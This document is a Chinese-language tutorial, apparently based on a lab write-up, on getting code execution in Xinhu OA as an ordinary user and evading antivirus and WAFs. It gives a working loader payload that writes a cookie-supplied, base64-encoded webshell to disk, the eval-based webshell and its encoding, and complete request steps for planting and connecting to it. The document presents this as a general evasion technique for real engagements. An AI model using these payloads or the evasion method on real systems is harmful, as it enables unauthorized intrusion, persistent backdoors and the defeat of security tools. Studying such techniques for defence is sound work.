教学文档:信呼OA普通用户RCE漏洞的进阶WAF/杀毒绕过技术
文档版本: 1.0
发布日期: 2023-10-16(基于原文)
目标读者: 具备一定Web渗透基础的安全研究人员、渗透测试工程师。
一、 背景与概述
在一次针对CyberStrikeLab靶场的渗透测试中,攻击者发现目标内网的第二层存在“信呼OA”系统。虽然网上已有关于信呼OA普通用户权限远程代码执行(RCE)漏洞的复现文章,但直接利用标准方法无法成功。原因是目标服务器上部署了杀毒软件,会立即删除写入的常规Webshell文件。
本文档的核心目标,并非单纯复现该RCE漏洞,而是重点讲解如何基于该漏洞的独特逻辑,设计一种巧妙的免杀Payload,最终实现Webshell的持久化写入。这种思路对于绕过各种基于文件内容检测的WAF和杀毒软件具有很高的参考价值。
二、 漏洞入口与前置准备
- 外网突破与内网渗透:攻击者首先通过其他方式获取了第一层服务器的权限(例如:目录扫描发现文件泄露,使用蚁剑连接Webshell),并利用工具(如
vshell)进行持久化。 - 内网代理:在控制第一台服务器后,搭建Socks代理(例如使用EarthWorm、reGeorg等),将内网流量代理到本地。
- 内网扫描:通过代理,使用扫描工具(如
fscan)发现内网IP172.55.2.23上运行的信呼OA系统。 - 漏洞环境访问:在本地配置Burp Suite(BP)通过Socks代理访问目标OA系统。
三、 信呼OA RCE漏洞基础逻辑分析
在进入免杀绕过之前,必须深刻理解漏洞本身的执行逻辑。
-
漏洞触发点:通过弱口令登录信呼OA普通用户后台,找到一个可上传或写入文件的功能点。该功能存在逻辑缺陷。
-
核心逻辑:
- 该功能会将HTTP请求体(POST Data)中的内容,直接写入到一个文件中。
- 该文件的文件名也来源于请求中的某个参数。
- 关键特性:写入的文件会被保存为
.php后缀,这意味着写入的内容会被服务器当作PHP代码执行。
-
标准复现尝试与失败:
- 成功步骤:写入
phpinfo()函数测试。Payload如下:- 请求体:
mode_a{};phpinfo ();class b - 生成文件:
Action.php(假设文件名参数为Action) - 访问路径:需要URL编码特殊字符(如
{ }),例如访问/path/mode_a%7B%7D;phpinfo%20();class%20bAction.php,可以成功看到phpinfo页面。
- 请求体:
- 失败步骤:当尝试写入一句话木马(如``)时,虽然页面返回“写入成功”,但访问文件时返回404。根本原因是杀毒软件实时监控文件系统,检测到文件内容包含恶意特征,立即将其删除。
- 成功步骤:写入
四、 免杀绕过思路与技术详解
核心挑战:如何在请求体中写入一个足够复杂、能绕过检测的Webshell,同时避免因特殊字符(如/, \, <, >等)导致文件创建失败或Payload被破坏。
思路演进:
- 直接写入免杀Shell代码:不可行。复杂的免杀代码通常较长,且可能包含敏感字符,在文件创建阶段就会出错(例如,包含
/会创建子目录)。 - 创造性解决方案:利用PHP动态执行的能力,将Webshell的“写入”动作分解为两个步骤。第一步写入一个“代码加载器”,这个加载器本身是免杀的;第二步,由这个加载器去接收并写入最终的Webshell。
最终Payload构造与原理:
Payload内容:
id=1&name=a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d
代码逐行解析:
-
$v = array_values(get_defined_vars());get_defined_vars(): 返回一个包含当前作用域内所有已定义变量的多维数组。这包括所有超全局变量,如$_GET,$_POST,$_REQUEST,$_COOKIE等。array_values(): 提取该关联数组的所有值,重新组合成一个新的索引数组$v,忽略原有关键字。这使得我们可以通过数字索引来访问变量。
-
$c = $v[2];- 经过测试和推断,
$v[2]对应的是$_COOKIE全局数组。这意味着我们将变量$c指向了客户端发送的Cookie数据。 - 提示:索引
2可能因PHP版本和环境略有不同,在实际利用前需通过phpinfo()或print_r($v)确认。
- 经过测试和推断,
-
file_put_contents($c[p], base64_decode($c[c]));- 这是核心执行语句。
file_put_contents(): 函数,用于将一个字符串写入文件。$c[p]: 从Cookie中名为p的字段读取值,作为要写入的文件路径(例如C:\phpStudy\WWW\webmain\flow\input\shell.php)。base64_decode($c[c]): 从Cookie中名为c的字段读取值,该值应该是经过Base64编码的免杀Webshell代码。函数将其解码还原为原始的PHP代码。- 整体作用:将解码后的免杀Webshell写入到指定路径的文件中。
为何能免杀?
- 加载器本身无害:写入的这段PHP代码(加载器)本身不包含任何恶意操作(如
eval、system、assert等)。它只是一个简单的文件操作,使用了get_defined_vars、array_values、file_put_contents等正常函数,极难被静态检测判定为恶意。 - 核心载荷分离:真正的Webshell代码并不在HTTP请求体或文件系统中直接出现,而是通过Cookie传递,并且是Base64编码的密文。这有效规避了基于流量内容检测的WAF和基于文件内容扫描的杀毒软件。
- 动态生成:最终的Webshell是在目标服务器上动态生成并写入的,避开了在文件上传或写入过程中被杀软扫描原始内容的风险。
五、 完整利用步骤
-
触发漏洞,写入加载器:
- 使用Burp Suite等工具,向漏洞URL发送POST请求。
- 请求体(Body):
a{};$v=array_values(get_defined_vars());$c=$v[2];file_put_contents($c[p],base64_decode($c[c]));class d - 文件名参数:设置为
Action(或其他有效参数),最终生成文件名为Action.php。
-
构造Cookie,传递最终Shell:
- 准备一个免杀的一句话木马或自定义Webshell代码(例如:
<?php @eval($_REQUEST['1']);?>)。为了增强免杀效果,可以使用更高级的混淆技术。 - 将这段代码进行Base64编码。
- 在浏览器或攻击工具中,为即将发起的请求添加两个Cookie:
p=C:\phpStudy\WWW\webmain\flow\input\shell.php(指定最终Webshell的写入路径)c=PD9waHAgQGV2YWwoJF9SRVFVRVNUWycxJ10pOz8+(上述示例代码的Base64结果)
- 准备一个免杀的一句话木马或自定义Webshell代码(例如:
-
访问加载器,生成Webshell:
- 访问第一步生成的文件,例如:
http://目标IP/path/mode_a%7B%7D;...code...class%20dAction.php。 - 此次访问会携带包含
p和c的Cookie。 - 服务器执行加载器代码,读取Cookie,将解码后的Webshell写入
p指定的路径。
- 访问第一步生成的文件,例如:
-
连接Webshell:
- 直接访问
http://目标IP/path/shell.php。 - 使用中国蚁剑、哥斯拉等工具,配置好Socks代理(因为目标在内网),连接新写入的Webshell。
- 直接访问
六、 总结与思考
本案例的精髓在于 “借力打力” 和 “分离原则”。
- 借力打力:充分利用了漏洞“将请求体内容当作PHP代码执行”的特性,没有直接写入恶意代码,而是写入一个功能合法的“工具”。
- 分离原则:将恶意载荷(Webshell)与加载器分离。加载器轻量、合法,恶意载荷则通过另一种渠道(Cookie)和形式(Base64编码)传输,极大提高了隐蔽性。
这种绕过思路不仅适用于信呼OA的这个特定漏洞,对于任何允许写入有限PHP代码的RCE场景,都具有很强的借鉴意义。在实战中,关键在于灵活运用PHP的语言特性,将攻击链条拆解,从而绕过安全设备的静态规则检测。